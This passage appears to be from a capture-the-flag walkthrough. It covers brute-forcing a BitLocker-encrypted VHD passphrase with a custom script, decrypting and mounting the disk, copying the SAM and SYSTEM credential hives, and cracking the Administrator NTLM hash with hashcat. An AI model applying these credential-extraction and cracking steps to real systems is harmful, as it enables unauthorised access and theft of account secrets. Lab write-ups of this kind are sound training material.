We need a passphrase.
We will bruteforce the passphrase with this bash script I made, that bruteforce
the passphrase request using the ‘mut_password.list’
*Note – A. make sure the ‘mut_password.list’ is present at the same directory,
both the password list and the label are hardcoded within the script.
B. also the dev ‘nbd0p2’ is hard coded in the script. *
**also – the traditional way involves obtaining the corresponding hash of the
vhd but I didn’t succeed with that so I resorted to this method, which works!
If anyone succeed with the hash method is welcome to let me know
([email protected]) **
Anyway, the default script name is ‘vdi_cracker.sh’ - lets enable execution
permissions and run:
chmod u+x vdi_cracker.sh
./ vdi_cracker.sh
*don’t forget to have the ‘mut_password.list’ in the same folder, and other
relevant hardcoded objects mentioned above. *
**note – if the file run is getting:
Error: run
dos2unix vdi_cracker.sh
(install ‘sudo apt-get install dos2unix’ if required!)
Now that we know the Backup.vhd password – we can decrypt it and mount it.
We will proceed to run the sequence of commands:
sudo cryptsetup bitlkOpen /dev/nbd0p2 decrypted_vhd
enter the passphrase that we had just discovered:
Then:
sudo mkdir -p /mnt/decrypted_vhd
sudo mount /dev/mapper/decrypted_vhd /mnt/decrypted_vhd
*-p flag is to create parent directories if necessary. *
at this point we should have the decrypt content of the virtual hard disk in
‘mnt/decrypted_vhd’, we will proceed with:
cd /mnt/decrypted_vhd
ls -la
to change our pwd to the decrypted vhd, and view its content (remember: ‘-la’
is for view in details about the files (‘-l’), including hidden files (‘-a’)):
We can observe the files SAM and SYSTEM, files that are required to extract
hash credentials of users.
For convenience, lets copy them to the home directory first (‘~’):
cp SAM ~
cp SYSTEM ~
The Administrator NTLM hash is the marked hashed in the screenshot above –
lets crack it, lets put the hash within a file called ‘hash.txt’:
We will use the usual ‘mut_password.list’ as our word list, and the usual
hashcat command and NTLM flag of ‘-m 1000’:
sudo hashcat -m 1000 hash.txt mut_password.list